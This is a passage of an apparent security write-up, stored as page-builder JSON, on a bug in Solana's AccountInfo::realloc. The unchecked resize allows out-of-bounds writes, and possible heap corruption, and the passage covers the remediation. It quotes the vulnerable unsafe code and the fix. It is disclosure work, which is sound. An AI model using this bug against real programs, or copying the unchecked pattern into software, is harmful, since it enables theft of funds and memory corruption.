still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":20,"tag":119,"props":15036,"children":15038},{"className":15037},[],[15039],{"type":26,"value":15040},"borrow_mut",{"type":26,"value":15042}," of the ",{"type":20,"tag":119,"props":15044,"children":15046},{"className":15045},[],[15047],{"type":26,"value":13905},{"type":26,"value":15049}," (through ",{"type":20,"tag":119,"props":15051,"children":15053},{"className":15052},[],[15054],{"type":26,"value":15055},"AccountInfo::try_borrow_mut_data()",{"type":26,"value":15057},"), and ",{"type":20,"tag":119,"props":15059,"children":15061},{"className":15060},[],[15062],{"type":26,"value":13905},{"type":26,"value":15064}," is not usable between multiple threads",{"type":20,"tag":13875,"props":15066,"children":15067},{},[15068],{"type":20,"tag":35,"props":15069,"children":15073},{"href":15070,"ariaDescribedBy":15071,"dataFootnoteRef":7,"id":15072},"#user-content-fn-sendsync",[13882],"user-content-fnref-sendsync",[15074],{"type":26,"value":1504},{"type":26,"value":15076},", so we already have exclusive access.",{"type":20,"tag":29,"props":15078,"children":15079},{},[15080,15082,15086],{"type":26,"value":15081},"A few more ",{"type":20,"tag":55,"props":15083,"children":15084},{},[15085],{"type":26,"value":5502},{"type":26,"value":15087}," things of note, that could have gone badly but didn't:",{"type":20,"tag":15089,"props":15090,"children":15091},"ul",{},[15092,15134],{"type":20,"tag":72,"props":15093,"children":15094},{},[15095,15097,15103,15105,15110,15112,15117,15119,15124,15126,15132],{"type":26,"value":15096},"By reborrowing the pointer (the ",{"type":20,"tag":119,"props":15098,"children":15100},{"className":15099},[],[15101],{"type":26,"value":15102},"&mut *(\u003Cvalue of type *mut u64>)",{"type":26,"value":15104},"), we've created a reference with an ",{"type":20,"tag":55,"props":15106,"children":15107},{},[15108],{"type":26,"value":15109},"unbounded lifetime",{"type":26,"value":15111},". Rust is free to infer ",{"type":20,"tag":55,"props":15113,"children":15114},{},[15115],{"type":26,"value":15116},"any",{"type":26,"value":15118}," lifetime for ",{"type":20,"tag":119,"props":15120,"children":15122},{"className":15121},[],[15123],{"type":26,"value":12350},{"type":26,"value":15125}," (including ",{"type":20,"tag":119,"props":15127,"children":15129},{"className":15128},[],[15130],{"type":26,"value":15131},"'static",{"type":26,"value":15133},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":20,"tag":72,"props":15135,"children":15136},{},[15137,15139,15145,15147,15152,15154,15159,15161,15166,15168,15173,15175,15180,15182,15187,15189,15195,15197,15202,15204,15209,15211,15216,15218,15223,15225,15230],{"type":26,"value":15138},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":20,"tag":119,"props":15140,"children":15142},{"className":15141},[],[15143],{"type":26,"value":15144},"RefMut",{"type":26,"value":15146}," returned from ",{"type":20,"tag":119,"props":15148,"children":15150},{"className":15149},[],[15151],{"type":26,"value":12275},{"type":26,"value":15153},", but the ",{"type":20,"tag":119,"props":15155,"children":15157},{"className":15156},[],[15158],{"type":26,"value":15144},{"type":26,"value":15160}," is dropped at the end of the statement. So, we now have in ",{"type":20,"tag":119,"props":15162,"children":15164},{"className":15163},[],[15165],{"type":26,"value":12350},{"type":26,"value":15167}," a ",{"type":20,"tag":55,"props":15169,"children":15170},{},[15171],{"type":26,"value":15172},"mutable",{"type":26,"value":15174}," pointer to the ",{"type":20,"tag":119,"props":15176,"children":15178},{"className":15177},[],[15179],{"type":26,"value":13905},{"type":26,"value":15181},"'s data, but the ",{"type":20,"tag":119,"props":15183,"children":15185},{"className":15184},[],[15186],{"type":26,"value":13905},{"type":26,"value":15188}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":20,"tag":119,"props":15190,"children":15192},{"className":15191},[],[15193],{"type":26,"value":15194},"Mutex",{"type":26,"value":15196}," instead of a ",{"type":20,"tag":119,"props":15198,"children":15200},{"className":15199},[],[15201],{"type":26,"value":13905},{"type":26,"value":15203}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":20,"tag":119,"props":15205,"children":15207},{"className":15206},[],[15208],{"type":26,"value":12350},{"type":26,"value":15210}," and writing to it ",{"type":20,"tag":55,"props":15212,"children":15213},{},[15214],{"type":26,"value":15215},"and succeed",{"type":26,"value":15217},", resulting in us writing while another reference is alive. However, since ",{"type":20,"tag":119,"props":15219,"children":15221},{"className":15220},[],[15222],{"type":26,"value":12350},{"type":26,"value":15224}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":20,"tag":119,"props":15226,"children":15228},{"className":15227},[],[15229],{"type":26,"value":2085},{"type":26,"value":15231}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":20,"tag":29,"props":15233,"children":15234},{},[15235,15237,15242],{"type":26,"value":15236},"Ok, now that we've understood what the code is ",{"type":20,"tag":55,"props":15238,"children":15239},{},[15240],{"type":26,"value":15241},"trying",{"type":26,"value":15243}," to do, let's try to break it, shall we?",{"type":20,"tag":21,"props":15245,"children":15247},{"id":15246},"what-can-go-wrong",[15248],{"type":26,"value":15249},"What can go wrong?",{"type":20,"tag":219,"props":15251,"children":15253},{"id":15252},"contracts",[15254],{"type":26,"value":15255},"Contracts",{"type":20,"tag":29,"props":15257,"children":15258},{},[15259,15261,15266,15268,15273,15275,15280,15282,15287],{"type":26,"value":15260},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":20,"tag":119,"props":15262,"children":15264},{"className":15263},[],[15265],{"type":26,"value":12039},{"type":26,"value":15267},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":20,"tag":119,"props":15269,"children":15271},{"className":15270},[],[15272],{"type":26,"value":12039},{"type":26,"value":15274}," to some large size, past the end of the buffer of roughly ",{"type":20,"tag":119,"props":15276,"children":15278},{"className":15277},[],[15279],{"type":26,"value":13694},{"type":26,"value":15281}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":20,"tag":119,"props":15283,"children":15285},{"className":15284},[],[15286],{"type":26,"value":2085},{"type":26,"value":15288}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":20,"tag":29,"props":15290,"children":15291},{},[15292,15294,15301],{"type":26,"value":15293},"There is ",{"type":20,"tag":35,"props":15295,"children":15298},{"href":15296,"rel":15297},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[39],[15299],{"type":26,"value":15300},"a check",{"type":26,"value":15302}," by the BPF loader, however, and it boils down to:",{"type":20,"tag":305,"props":15304,"children":15306},{"className":1360,"code":15305,"language":1359,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[15307],{"type":20,"tag":119,"props":15308,"children":15309},{"__ignoreMap":7},[15310,15348,15378,15385,15417],{"type":20,"tag":315,"props":15311,"children":15312},{"class":317,"line":318},[15313,15317,15322,15326,15330,15334,15338,15343],{"type":20,"tag":315,"props":15314,"children":15315},{"style":525},[15316],{"type":26,"value":528},{"type":20,"tag":315,"props":15318,"children":15319},{"style":635},[15320],{"type":26,"value":15321}," post_len",{"type":20,"tag":315,"props":15323,"children":15324},{"style":334},[15325],{"type":26,"value":61},{"type":20,"tag":315,"props":15327,"children":15328},{"style":345},[15329],{"type":26,"value":12693},{"type":20,"tag":315,"props":15331,"children":15332},{"style":328},[15333],{"type":26,"value":1049},{"type":20,"tag":315,"props":15335,"children":15336},{"style":334},[15337],{"type":26,"value":901},{"type":20,"tag":315,"props":15339,"children":15340},{"style":635},[15341],{"type":26,"value":15342},"pre_len",{"type":20,"tag":315,"props":15344,"children":15345},{"style":328},[15346],{"type":26,"value":15347},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":20,"tag":315,"props":15349,"children":15350},{"class":317,"line":356},[15351,15356,15360,15364,15369,15373],{"type":20,"tag":315,"props":15352,"children":15353},{"style":334},[15354],{"type":26,"value":15355}," ||",{"type":20,"tag":315,"props":15357,"children":15358},{"style":635},[15359],{"type":26,"value":15321},{"type":20,"tag":315,"props":15361,"children":15362},{"style":334},[15363],{"type":26,"value":12595},{"type":20,"tag":315,"props":15365,"children":15366},{"style":328},[15367],{"type":26,"value":15368}," MAX_PERMITTED_DATA_LENGTH ",{"type":20,"tag":315,"props":15370,"children":15371},{"style":541},[15372],{"type":26,"value":7238},{"type":20,"tag":315,"props":15374,"children":15375},{"style":322},[15376],{"type":26,"value":15377}," usize\n",{"type":20,"tag":315,"props":15379,"children":15380},{"class":317,"line":365},[15381],{"type":20,"tag":315,"props":15382,"children":15383},{"style":328},[15384],{"type":26,"value":723},{"type":20,"tag":315,"props":15386,"children":15387},{"class":317,"line":374},[15388,15392,15396,15400,15404,15408,15413],{"type":20,"tag":315,"props":15389,"children":15390},{"style":525},[15391],{"type":26,"value":731},{"type":20,"tag":315,"props":15393,"children":15394},{"style":322},[15395],{"type":26,"value":14150},{"type":20,"tag":315,"props":15397,"children":15398},{"style":328},[15399],{"type":26,"value":1049},{"type":20,"tag":315,"props":15401,"children":15402},{"style":322},[15403],{"type":26,"value":14159},{"type":20,"tag":315,"props":15405,"children":15406},{"style":334},[15407],{"type":26,"value":1861},{"type":20,"tag":315,"props":15409,"children":15410},{"style":322},[15411],{"type":26,"value":15412},"InvalidRealloc",{"type":20,"tag":315,"props":15414,"children":15415},{"style":328},[15416],{"type":26,"value":2214},{"type":20,"tag":315,"props":15418,"children":15419},{"class":317,"line":383},[15420],{"type":20,"tag":315,"props":15421,"children":15422},{"style":328},[15423],{"type":26,"value":577},{"type":20,"tag":29,"props":15425,"children":15426},{},[15427,15429,15434,15436,15441],{"type":26,"value":15428},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":20,"tag":55,"props":15430,"children":15431},{},[15432],{"type":26,"value":15433},"finishes",{"type":26,"value":15435}," execution. ",{"type":20,"tag":55,"props":15437,"children":15438},{},[15439],{"type":26,"value":15440},"During",{"type":26,"value":15442}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":20,"tag":29,"props":15444,"children":15445},{},[15446,15448,15453,15455,15460,15462,15469],{"type":26,"value":15447},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":20,"tag":55,"props":15449,"children":15450},{},[15451],{"type":26,"value":15452},"arbitrary",{"type":26,"value":15454}," memory access through a mistakenly-",{"type":20,"tag":119,"props":15456,"children":15458},{"className":15457},[],[15459],{"type":26,"value":12039},{"type":26,"value":15461},"'d account, this falls in the relm of some ",{"type":20,"tag":35,"props":15463,"children":15466},{"href":15464,"rel":15465},"https://en.wikipedia.org/wiki/Buffer_overflow",[39],[15467],{"type":26,"value":15468},"old-school pwning",{"type":26,"value":15470}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":20,"tag":219,"props":15472,"children":15474},{"id":15473},"not-contracts",[15475],{"type":26,"value":15476},"Not-contracts?",{"type":20,"tag":29,"props":15478,"children":15479},{},[15480,15482,15487,15489,15499,15501,15513,15515,15522,15524,15529,15531,15536,15538,15551,15553,15558,15560,15565],{"type":26,"value":15481},"Remember when we said that all this code makes sense ",{"type":20,"tag":55,"props":15483,"children":15484},{},[15485],{"type":26,"value":15486},"if the data points to the BPF loader's serialized buffer",{"type":26,"value":15488},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":20,"tag":35,"props":15490,"children":15493},{"href":15491,"rel":15492},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[39],[15494],{"type":20,"tag":119,"props":15495,"children":15497},{"className":15496},[],[15498],{"type":26,"value":13339},{"type":26,"value":15500}," are public, and so is its ",{"type":20,"tag":35,"props":15502,"children":15505},{"href":15503,"rel":15504},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[39],[15506,15511],{"type":20,"tag":119,"props":15507,"children":15509},{"className":15508},[],[15510],{"type":26,"value":13523},{"type":26,"value":15512}," method",{"type":26,"value":15514}," (which is ",{"type":20,"tag":35,"props":15516,"children":15519},{"href":15517,"rel":15518},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[39],[15520],{"type":26,"value":15521},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":26,"value":15523},"). The ",{"type":20,"tag":119,"props":15525,"children":15527},{"className":15526},[],[15528],{"type":26,"value":12039},{"type":26,"value":15530}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":20,"tag":119,"props":15532,"children":15534},{"className":15533},[],[15535],{"type":26,"value":13339},{"type":26,"value":15537}," ourselves - potentially through the ",{"type":20,"tag":35,"props":15539,"children":15542},{"href":15540,"rel":15541},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[39],[15543,15549],{"type":20,"tag":119,"props":15544,"children":15546},{"className":15545},[],[15547],{"type":26,"value":15548},"Account",{"type":26,"value":15550}," trait",{"type":26,"value":15552},", which is hardly documented at all and makes ",{"type":20,"tag":55,"props":15554,"children":15555},{},[15556],{"type":26,"value":15557},"no",{"type":26,"value":15559}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":20,"tag":119,"props":15561,"children":15563},{"className":15562},[],[15564],{"type":26,"value":2085},{"type":26,"value":15566}," buffer.",{"type":20,"tag":29,"props":15568,"children":15569},{},[15570,15572,15583,15585,15591,15593,15599,15601,15614,15616,15621,15623,15628,15630,15635,15637,15642,15644,15649,15651,15656],{"type":26,"value":15571},"One long arm of this is ",{"type":20,"tag":35,"props":15573,"children":15576},{"href":15574,"rel":15575},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[39],[15577],{"type":20,"tag":119,"props":15578,"children":15580},{"className":15579},[],[15581],{"type":26,"value":15582},"solana_sdk::account::Account",{"type":26,"value":15584}," - in the client SDK. It holds an account's data in a ",{"type":20,"tag":119,"props":15586,"children":15588},{"className":15587},[],[15589],{"type":26,"value":15590},"Vec\u003Cu8>",{"type":26,"value":15592},", and it implements ",{"type":20,"tag":119,"props":15594,"children":15596},{"className":15595},[],[15597],{"type":26,"value":15598},"solana_program::account_info::Account",{"type":26,"value":15600}," (the trait from earlier) - by ",{"type":20,"tag":35,"props":15602,"children":15605},{"href":15603,"rel":15604},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[39],[15606,15608],{"type":26,"value":15607},"returning a reference to the contents of that ",{"type":20,"tag":119,"props":15609,"children":15611},{"className":15610},[],[15612],{"type":26,"value":15613},"Vec",{"type":26,"value":15615},". So, ",{"type":20,"tag":119,"props":15617,"children":15619},{"className":15618},[],[15620],{"type":26,"value":12039},{"type":26,"value":15622}," writes the size into the 8 bytes right before ",{"type":20,"tag":119,"props":15624,"children":15626},{"className":15625},[],[15627],{"type":26,"value":2085},{"type":26,"value":15629},"; ",{"type":20,"tag":119,"props":15631,"children":15633},{"className":15632},[],[15634],{"type":26,"value":2085},{"type":26,"value":15636}," is the buffer of a ",{"type":20,"tag":119,"props":15638,"children":15640},{"className":15639},[],[15641],{"type":26,"value":15613},{"type":26,"value":15643},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":20,"tag":119,"props":15645,"children":15647},{"className":15646},[],[15648],{"type":26,"value":13339},{"type":26,"value":15650}," out of an SDK ",{"type":20,"tag":119,"props":15652,"children":15654},{"className":15653},[],[15655],{"type":26,"value":15548},{"type":26,"value":15657}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":20,"tag":21,"props":15659,"children":15661},{"id":15660},"remediation",[15662],{"type":26,"value":15663},"Remediation",{"type":20,"tag":29,"props":15665,"children":15666},{},[15667],{"type":26,"value":15668},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":20,"tag":29,"props":15670,"children":15671},{},[15672,15674,15679,15681,15686,15688,15699,15701,15706,15708,15715],{"type":26,"value":15673},"The sensible thing to do would be to store the initial size in the ",{"type":20,"tag":119,"props":15675,"children":15677},{"className":15676},[],[15678],{"type":26,"value":13339},{"type":26,"value":15680},"... except for the fact that the layout of ",{"type":20,"tag":119,"props":15682,"children":15684},{"className":15683},[],[15685],{"type":26,"value":13339},{"type":26,"value":15687}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":20,"tag":13875,"props":15689,"children":15690},{},[15691],{"type":20,"tag":35,"props":15692,"children":15696},{"href":15693,"ariaDescribedBy":15694,"dataFootnoteRef":7,"id":15695},"#user-content-fn-layout",[13882],"user-content-fnref-layout",[15697],{"type":26,"value":15698},"3",{"type":26,"value":15700}," So, with changing ",{"type":20,"tag":119,"props":15702,"children":15704},{"className":15703},[],[15705],{"type":26,"value":13339},{"type":26,"value":15707}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":20,"tag":35,"props":15709,"children":15712},{"href":15710,"rel":15711},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[39],[15713],{"type":26,"value":15714},"this function",{"type":26,"value":2884},{"type":20,"tag":305,"props":15717,"children":15719},{"className":1360,"code":15718,"language":1359,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[15720],{"type":20,"tag":119,"props":15721,"children":15722},{"__ignoreMap":7},[15723,15731,15739,15747,15755,15762,15770,15778,15826,15891,15957,15977],{"type":20,"tag":315,"props":15724,"children":15725},{"class":317,"line":318},[15726],{"type":20,"tag":315,"props":15727,"children":15728},{"style":1071},[15729],{"type":26,"value":15730},"/// Return the account's original data length when it was serialized for the\n",{"type":20,"tag":315,"props":15732,"children":15733},{"class":317,"line":356},[15734],{"type":20,"tag":315,"props":15735,"children":15736},{"style":1071},[15737],{"type":26,"value":15738},"/// current program invocation.\n",{"type":20,"tag":315,"props":15740,"children":15741},{"class":317,"line":365},[15742],{"type":20,"tag":315,"props":15743,"children":15744},{"style":1071},[15745],{"type":26,"value":15746},"///\n",{"type":20,"tag":315,"props":15748,"children":15749},{"class":317,"line":374},[15750],{"type":20,"tag":315,"props":15751,"children":15752},{"style":1071},[15753],{"type":26,"value":15754},"/// # Safety\n",{"type":20,"tag":315,"props":15756,"children":15757},{"class":317,"line":383},[15758],{"type":20,"tag":315,"props":15759,"children":15760},{"style":1071},[15761],{"type":26,"value":15746},{"type":20,"tag":315,"props":15763,"children":15764},{"class":317,"line":407},[15765],{"type":20,"tag":315,"props":15766,"children":15767},{"style":1071},[15768],{"type":26,"value":15769},"/// This method assumes that the original data length was serialized as a u32\n",{"type":20,"tag":315,"props":15771,"children":15772},{"class":317,"line":421},[15773],{"type":20,"tag":315,"props":15774,"children":15775},{"style":1071},[15776],{"type":26,"value":15777},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":20,"tag":315,"props":15779,"children":15780},{"class":317,"line":430},[15781,15785,15789,15793,15798,15802,15806,15810,15814,15818,15822],{"type":20,"tag":315,"props":15782,"children":15783},{"style":541},[15784],{"type":26,"value":12091},{"type":20,"tag":315,"props":15786,"children":15787},{"style":541},[15788],{"type":26,"value":12991},{"type":20,"tag":315,"props":15790,"children":15791},{"style":541},[15792],{"type":26,"value":12096},{"type":20,"tag":315,"props":15794,"children":15795},{"style":345},[15796],{"type":26,"value":15797}," original_data_len",{"type":20,"tag":315,"props":15799,"children":15800},{"style":328},[15801],{"type":26,"value":1049},{"type":20,"tag":315,"props":15803,"children":15804},{"style":334},[15805],{"type":26,"value":1490},{"type":20,"tag":315,"props":15807,"children":15808},{"style":541},[15809],{"type":26,"value":12114},{"type":20,"tag":315,"props":15811,"children":15812},{"style":328},[15813],{"type":26,"value":1468},{"type":20,"tag":315,"props":15815,"children":15816},{"style":334},[15817],{"type":26,"value":12158},{"type":20,"tag":315,"props":15819,"children":15820},{"style":322},[15821],{"type":26,"value":12132},{"type":20,"tag":315,"props":15823,"children":15824},{"style":328},[15825],{"type":26,"value":1092},{"type":20,"tag":315,"props":15827,"children":15828},{"class":317,"line":453},[15829,15833,15838,15842,15846,15850,15855,15859,15863,15867,15871,15875,15879,15883,15887],{"type":20,"tag":315,"props":15830,"children":15831},{"style":541},[15832],{"type":26,"value":1380},{"type":20,"tag":315,"props":15834,"children":15835},{"style":635},[15836],{"type":26,"value":15837}," key_ptr",{"type":20,"tag":315,"props":15839,"children":15840},{"style":334},[15841],{"type":26,"value":1395},{"type":20,"tag":315,"props":15843,"children":15844},{"style":541},[15845],{"type":26,"value":12198},{"type":20,"tag":315,"props":15847,"children":15848},{"style":334},[15849],{"type":26,"value":61},{"type":20,"tag":315,"props":15851,"children":15852},{"style":328},[15853],{"type":26,"value":15854},"key ",{"type":20,"tag":315,"props":15856,"children":15857},{"style":541},[15858],{"type":26,"value":7238},{"type":20,"tag":315,"props":15860,"children":15861},{"style":334},[15862],{"type":26,"value":8216},{"type":20,"tag":315,"props":15864,"children":15865},{"style":541},[15866],{"type":26,"value":8054},{"type":20,"tag":315,"props":15868,"children":15869},{"style":635},[15870],{"type":26,"value":1418},{"type":20,"tag":315,"props":15872,"children":15873},{"style":541},[15874],{"type":26,"value":7224},{"type":20,"tag":315,"props":15876,"children":15877},{"style":334},[15878],{"type":26,"value":8216},{"type":20,"tag":315,"props":15880,"children":15881},{"style":541},[15882],{"type":26,"value":8054},{"type":20,"tag":315,"props":15884,"children":15885},{"style":322},[15886],{"type":26,"value":13035},{"type":20,"tag":315,"props":15888,"children":15889},{"style":328},[15890],{"type":26,"value":1405},{"type":20,"tag":315,"props":15892,"children":15893},{"class":317,"line":486},[15894,15898,15903,15907,15911,15915,15919,15923,15927,15932,15936,15940,15944,15948,15953],{"type":20,"tag":315,"props":15895,"children":15896},{"style":541},[15897],{"type":26,"value":1380},{"type":20,"tag":315,"props":15899,"children":15900},{"style":635},[15901],{"type":26,"value":15902}," original_data_len_ptr",{"type":20,"tag":315,"props":15904,"children":15905},{"style":334},[15906],{"type":26,"value":1395},{"type":20,"tag":315,"props":15908,"children":15909},{"style":635},[15910],{"type":26,"value":15837},{"type":20,"tag":315,"props":15912,"children":15913},{"style":334},[15914],{"type":26,"value":61},{"type":20,"tag":315,"props":15916,"children":15917},{"style":345},[15918],{"type":26,"value":12302},{"type":20,"tag":315,"props":15920,"children":15921},{"style":328},[15922],{"type":26,"value":1049},{"type":20,"tag":315,"props":15924,"children":15925},{"style":334},[15926],{"type":26,"value":478},{"type":20,"tag":315,"props":15928,"children":15929},{"style":765},[15930],{"type":26,"value":15931},"4",{"type":20,"tag":315,"props":15933,"children":15934},{"style":328},[15935],{"type":26,"value":1468},{"type":20,"tag":315,"props":15937,"children":15938},{"style":541},[15939],{"type":26,"value":7238},{"type":20,"tag":315,"props":15941,"children":15942},{"style":334},[15943],{"type":26,"value":8216},{"type":20,"tag":315,"props":15945,"children":15946},{"style":541},[15947],{"type":26,"value":8054},{"type":20,"tag":315,"props":15949,"children":15950},{"style":322},[15951],{"type":26,"value":15952}," u32",{"type":20,"tag":315,"props":15954,"children":15955},{"style":328},[15956],{"type":26,"value":1405},{"type":20,"tag":315,"props":15958,"children":15959},{"class":317,"line":499},[15960,15964,15969,15973],{"type":20,"tag":315,"props":15961,"children":15962},{"style":334},[15963],{"type":26,"value":389},{"type":20,"tag":315,"props":15965,"children":15966},{"style":635},[15967],{"type":26,"value":15968},"original_data_len_ptr",{"type":20,"tag":315,"props":15970,"children":15971},{"style":541},[15972],{"type":26,"value":7224},{"type":20,"tag":315,"props":15974,"children":15975},{"style":322},[15976],{"type":26,"value":15377},{"type":20,"tag":315,"props":15978,"children":15979},{"class":317,"line":513},[15980],{"type":20,"tag":315,"props":15981,"children":15982},{"style":328},[15983],{"type":26,"value":577},{"type":20,"tag":29,"props":15985,"children":15986},{},[15987,15989,15994,15996,16001,16003,16008,16010,16015,16017,16024,16026,16033,16034,16041,16042,16049,16050,16057],{"type":26,"value":15988},"It's marked ",{"type":20,"tag":119,"props":15990,"children":15992},{"className":15991},[],[15993],{"type":26,"value":12757},{"type":26,"value":15995},", properly documented, but there's just one problem: we need this for ",{"type":20,"tag":119,"props":15997,"children":15999},{"className":15998},[],[16000],{"type":26,"value":12039},{"type":26,"value":16002},", which originally was not ",{"type":20,"tag":119,"props":16004,"children":16006},{"className":16005},[],[16007],{"type":26,"value":12757},{"type":26,"value":16009},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":20,"tag":119,"props":16011,"children":16013},{"className":16012},[],[16014],{"type":26,"value":12757},{"type":26,"value":16016}," block and added ",{"type":20,"tag":35,"props":16018,"children":16021},{"href":16019,"rel":16020},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[39],[16022],{"type":26,"value":16023},"a doc comment",{"type":26,"value":16025}," - adding to the ",{"type":20,"tag":35,"props":16027,"children":16030},{"href":16028,"rel":16029},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[39],[16031],{"type":26,"value":16032},"small",{"type":26,"value":4852},{"type":20,"tag":35,"props":16035,"children":16038},{"href":16036,"rel":16037},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[39],[16039],{"type":26,"value":16040},"pile",{"type":26,"value":4852},{"type":20,"tag":35,"props":16043,"children":16046},{"href":16044,"rel":16045},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[39],[16047],{"type":26,"value":16048},"of",{"type":26,"value":4852},{"type":20,"tag":35,"props":16051,"children":16054},{"href":16052,"rel":16053},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[39],[16055],{"type":26,"value":16056},"functions",{"type":26,"value":16058}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":20,"tag":21,"props":16060,"children":16062},{"id":16061},"towards-safer-unsafe",[16063,16065],{"type":26,"value":16064},"Towards safer ",{"type":20,"tag":119,"props":16066,"children":16068},{"className":16067},[],[16069],{"type":26,"value":12757},{"type":20,"tag":29,"props":16071,"children":16072},{},[16073,16075,16080,16082,16087,16089,16096],{"type":26,"value":16074},"Let's circle back to that main ",{"type":20,"tag":119,"props":16076,"children":16078},{"className":16077},[],[16079],{"type":26,"value":12757},{"type":26,"value":16081}," block inside ",{"type":20,"tag":119,"props":16083,"children":16085},{"className":16084},[],[16086],{"type":26,"value":12039},{"type":26,"value":16088}," for a bit, shall we? As a reminder, it looks like ",{"type":20,"tag":35,"props":16090,"children":16093},{"href":16091,"rel":16092},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[39],[16094],{"type":26,"value":16095},"this",{"type":26,"value":2884},{"type":20,"tag":305,"props":16098,"children":16100},{"className":1360,"code":16099,"language":1359,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[16101],{"type":20,"tag":119,"props":16102,"children":16103},{"__ignoreMap":7},[16104,16112,16123,16131,16218,16249,16256,16264,16391,16422],{"type":20,"tag":315,"props":16105,"children":16106},{"class":317,"line":318},[16107],{"type":20,"tag":315,"props":16108,"children":16109},{"style":1071},[16110],{"type":26,"value":16111},"// realloc\n",{"type":20,"tag":315,"props":16113,"children":16114},{"class":317,"line":356},[16115,16119],{"type":20,"tag":315,"props":16116,"children":16117},{"style":541},[16118],{"type":26,"value":12757},{"type":20,"tag":315,"props":16120,"children":16121},{"style":328},[16122],{"type":26,"value":1092},{"type":20,"tag":315,"props":16124,"children":16125},{"class":317,"line":365},[16126],{"type":20,"tag":315,"props":16127,"children":16128},{"style":1071},[16129],{"type":26,"value":16130}," // First set new length in the serialized 